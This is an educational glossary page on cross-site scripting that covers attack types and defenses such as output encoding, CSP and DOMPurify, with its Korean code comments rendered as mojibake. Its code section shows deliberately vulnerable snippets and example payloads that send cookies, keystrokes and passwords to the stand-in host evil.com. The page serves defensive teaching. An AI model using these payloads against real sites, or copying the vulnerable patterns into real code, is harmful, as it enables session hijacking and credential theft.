๐Ÿ”’Security

XSS

Cross-Site Scripting

An attack that injects malicious scripts into web applications to execute them in users' browsers. Abused for cookie theft, session hijacking, phishing, and more, and included in the OWASP Top 10.

๐Ÿ“– Detailed Explanation

XSS (Cross-Site Scripting) is an attack technique in which an attacker injects a malicious script into a web page and causes it to be executed in the browsers of other users who visit that page. Also called a "script injection attack," it occurs when a web application does not properly validate user input. If the attack succeeds, it can steal the user's cookies, session tokens, and personal information.

XSS is classified into three types. In Reflected XSS, a malicious script is sent to the server through a URL parameter or similar means and is immediately included in the response page and returned. It is widely exploited through links in phishing emails. In Stored XSS, a malicious script is stored in the server database and affects all users who visit the page. It occurs in bulletin board comments, profiles, and the like, and is the most dangerous. DOM-based XSS occurs when client-side JavaScript manipulates the DOM directly, without going through the server.

The core of XSS defense is to "handle untrusted data safely." Output Encoding converts <, >, &, and the like into HTML entities in an HTML context. CSP (Content Security Policy) restricts the sources from which scripts can be executed, using an HTTP header. HttpOnly cookies block access to cookies from JavaScript, preventing cookie theft. Input Validation accepts only permitted formats, but this alone is insufficient.

Each framework has built-in XSS defenses. React escapes values within JSX by default, and renders raw HTML only when dangerouslySetInnerHTML is used explicitly. The same applies to Vue.js's v-html and Angular's [innerHTML]. However, attacks that put the javascript: protocol in URL attributes (href, src) must be defended against separately.

๐Ÿ’ป Code Example

// โŒ XSS ์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ๋“ค

// 1. innerHTML์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์ง์ ‘ ์‚ฝ์ž…
function displayUserComment(comment) {
    // ์œ„ํ—˜: comment์— <script>alert('XSS')</script> ํฌํ•จ ๊ฐ€๋Šฅ
    document.getElementById('comments').innerHTML = comment;
}

// 2. URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ
// URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
const urlParams = new URLSearchParams(window.location.search);
const searchQuery = urlParams.get('q');
document.getElementById('result').innerHTML = `๊ฒ€์ƒ‰์–ด: ${searchQuery}`;

// 3. eval() ๋˜๋Š” Function() ์‚ฌ์šฉ
const userInput = "alert('XSS')";
eval(userInput);  // ์ ˆ๋Œ€ ๊ธˆ์ง€!

// 4. href์— javascript: ํ”„๋กœํ† ์ฝœ ํ—ˆ์šฉ
const userUrl = "javascript:alert('XSS')";
document.getElementById('link').href = userUrl;

// 5. ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด๋กœ HTML ์ƒ์„ฑ
function renderProfile(user) {
    return `
        <div class="profile">
            <h2>${user.name}</h2>  // ์œ„ํ—˜!
            <p>${user.bio}</p>     // ์œ„ํ—˜!
        </div>
    `;
}

// 6. jQuery .html() ๋ฉ”์„œ๋“œ
$('#output').html(userInput);  // ์œ„ํ—˜!


// === XSS ๊ณต๊ฒฉ ํŽ˜์ด๋กœ๋“œ ์˜ˆ์‹œ ===
// (๊ต์œก ๋ชฉ์ , ์‹ค์ œ ๊ณต๊ฒฉ์— ์‚ฌ์šฉ ๊ธˆ์ง€)

// ์ฟ ํ‚ค ํƒˆ์ทจ
// <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>

// ํ‚ค๋กœ๊ฑฐ
// <script>document.onkeypress=function(e){new Image().src='https://evil.com/log?k='+e.key}</script>

// ํ”ผ์‹ฑ ํผ ์‚ฝ์ž…
// <div><form action="https://evil.com/phish">๋น„๋ฐ€๋ฒˆํ˜ธ:<input name="pw"></form></div>
// โœ… XSS ์•ˆ์ „ํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ๋“ค

// 1. textContent ์‚ฌ์šฉ (HTML ํ•ด์„ ์•ˆ ํ•จ)
function displayUserComment(comment) {
    document.getElementById('comments').textContent = comment;
    // <script> ํƒœ๊ทธ๋„ ํ…์ŠคํŠธ๋กœ ํ‘œ์‹œ๋จ
}

// 2. HTML ์ด์Šค์ผ€์ดํ”„ ํ•จ์ˆ˜
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

const safeComment = escapeHtml(userComment);
element.innerHTML = safeComment;

// 3. DOMPurify ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ (HTML ํ—ˆ์šฉ ํ•„์š” ์‹œ)
import DOMPurify from 'dompurify';

function displayRichContent(html) {
    const cleanHtml = DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
        ALLOWED_ATTR: ['href']
    });
    document.getElementById('content').innerHTML = cleanHtml;
}

// 4. URL ๊ฒ€์ฆ (javascript: ํ”„๋กœํ† ์ฝœ ์ฐจ๋‹จ)
function isValidUrl(url) {
    try {
        const parsed = new URL(url);
        return ['http:', 'https:'].includes(parsed.protocol);
    } catch {
        return false;
    }
}

function setLink(url) {
    if (isValidUrl(url)) {
        document.getElementById('link').href = url;
    } else {
        console.error('Invalid URL');
    }
}

// 5. React์—์„œ ์•ˆ์ „ํ•˜๊ฒŒ ์ฒ˜๋ฆฌ
function Comment({ text }) {
    // ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด์Šค์ผ€์ดํ”„๋จ
    return <p>{text}</p>;
}

// HTML ๋ Œ๋”๋ง ํ•„์š” ์‹œ DOMPurify ์‚ฌ์šฉ
function RichComment({ html }) {
    const cleanHtml = DOMPurify.sanitize(html);
    return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

// 6. ์„œ๋ฒ„ ์‚ฌ์ด๋“œ (Node.js Express)
const express = require('express');
const xss = require('xss');

app.post('/comment', (req, res) => {
    // ์ž…๋ ฅ ์‚ด๊ท 
    const cleanComment = xss(req.body.comment);
    // ์ €์žฅ...
});

// 7. ํ…œํ”Œ๋ฆฟ ์—”์ง„ ์ž๋™ ์ด์Šค์ผ€์ดํ”„ (EJS)
// <%= user.name %>  ์ž๋™ ์ด์Šค์ผ€์ดํ”„
// <%- user.name %>  ์ด์Šค์ผ€์ดํ”„ ์•ˆ ํ•จ (์œ„ํ—˜!)
CSP (Content Security Policy) ์„ค์ •
====================================

# HTTP ํ—ค๋”๋กœ ์„ค์ •
Content-Security-Policy: default-src 'self';
                         script-src 'self' https://trusted-cdn.com;
                         style-src 'self' 'unsafe-inline';
                         img-src 'self' data: https:;
                         font-src 'self' https://fonts.gstatic.com;
                         connect-src 'self' https://api.example.com;
                         frame-ancestors 'none';
                         base-uri 'self';
                         form-action 'self';

# HTML meta ํƒœ๊ทธ๋กœ ์„ค์ •
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">


=== CSP ์ง€์‹œ๋ฌธ ์„ค๋ช… ===

default-src 'self'
    ๊ธฐ๋ณธ: ๊ฐ™์€ ์ถœ์ฒ˜์—์„œ๋งŒ ๋กœ๋“œ

script-src 'self' https://cdn.example.com
    ์Šคํฌ๋ฆฝํŠธ: ์ž์ฒด + ํŠน์ • CDN๋งŒ ํ—ˆ์šฉ

script-src 'self' 'nonce-abc123'
    ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ: nonce ์ผ์น˜ ์‹œ๋งŒ ์‹คํ–‰
    <script nonce="abc123">...</script>

script-src 'self' 'sha256-hash...'
    ํŠน์ • ํ•ด์‹œ๊ฐ’์˜ ์Šคํฌ๋ฆฝํŠธ๋งŒ ํ—ˆ์šฉ

style-src 'self' 'unsafe-inline'
    ์ธ๋ผ์ธ ์Šคํƒ€์ผ ํ—ˆ์šฉ (XSS ์œ„ํ—˜ ๋‚ฎ์Œ)

img-src * data:
    ์ด๋ฏธ์ง€: ๋ชจ๋“  ์ถœ์ฒ˜ + data URI ํ—ˆ์šฉ

connect-src 'self'
    AJAX/WebSocket: ๊ฐ™์€ ์ถœ์ฒ˜๋งŒ

frame-ancestors 'none'
    iframe ์‚ฝ์ž… ๊ธˆ์ง€ (ํด๋ฆญ์žฌํ‚น ๋ฐฉ์–ด)

upgrade-insecure-requests
    HTTP๋ฅผ HTTPS๋กœ ์ž๋™ ์—…๊ทธ๋ ˆ์ด๋“œ


=== Node.js Express ์„ค์ • ===

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "https://cdn.example.com"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"],
        connectSrc: ["'self'", "https://api.example.com"],
        frameAncestors: ["'none'"],
        baseUri: ["'self'"],
        formAction: ["'self'"]
    }
}));

// ๋™์  nonce ์ƒ์„ฑ
app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString('base64');
    next();
});


=== ๋ณด๊ณ  ์ „์šฉ ๋ชจ๋“œ (ํ…Œ์ŠคํŠธ์šฉ) ===

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// ์œ„๋ฐ˜ ์‹œ report-uri๋กœ JSON ๋ฆฌํฌํŠธ ์ „์†ก
// ์ •์ฑ… ์œ„๋ฐ˜ํ•ด๋„ ์ฐจ๋‹จํ•˜์ง€ ์•Š์Œ (ํ…Œ์ŠคํŠธ์šฉ)

๐Ÿ—ฃ๏ธ Say It Like This in Practice

๐Ÿ’ฌ In a code review
"You're putting user input directly into innerHTML here. This is a Stored XSS vulnerability. Please change it to textContent, or if you need HTML, sanitize it with DOMPurify before inserting it. And let's also add a CSP header to block inline script execution."
๐Ÿ’ฌ In a Security Review Meeting
"We found 3 XSS vulnerabilities in this release. There was a Stored XSS in the comment feature and a Reflected XSS in the search feature. We will apply context-appropriate encoding at every output point and set CSP strictly."
๐Ÿ’ฌ In an Interview
"Output encoding is the core of XSS defense. In an HTML context, use entities for <, >; in a JavaScript context, use JSON.stringify; and in a URL context, use encodeURIComponent. And if you block inline scripts with CSP, execution is difficult even if an XSS flaw exists."

Take a mock interview on this topic โ†’ WIA SOOM AI Interview ยท Start for free

โš ๏ธ Cautions & Best Practices

โŒ
Inserting user input directly into innerHTML

element.innerHTML = userInput is the most common cause of XSS. Use textContent, or if HTML is needed, sanitize it with DOMPurify.

โŒ
Defending with input validation only

Input validation (blacklist) alone cannot completely prevent XSS. Various bypass techniques exist. Output encoding is essential.

โŒ
eval(), Function(), setTimeout(string)

Functions that execute strings as code are XSS attack vectors. Never use them if there is any possibility that user input is included.

โœ…
XSS Defense Best Practices

Context-specific output encoding, applying CSP headers, HttpOnly cookies, using framework auto-escaping, sanitizing HTML with DOMPurify, and regular security scans.

๐Ÿ”— Related Terms

๐Ÿ“š Learn More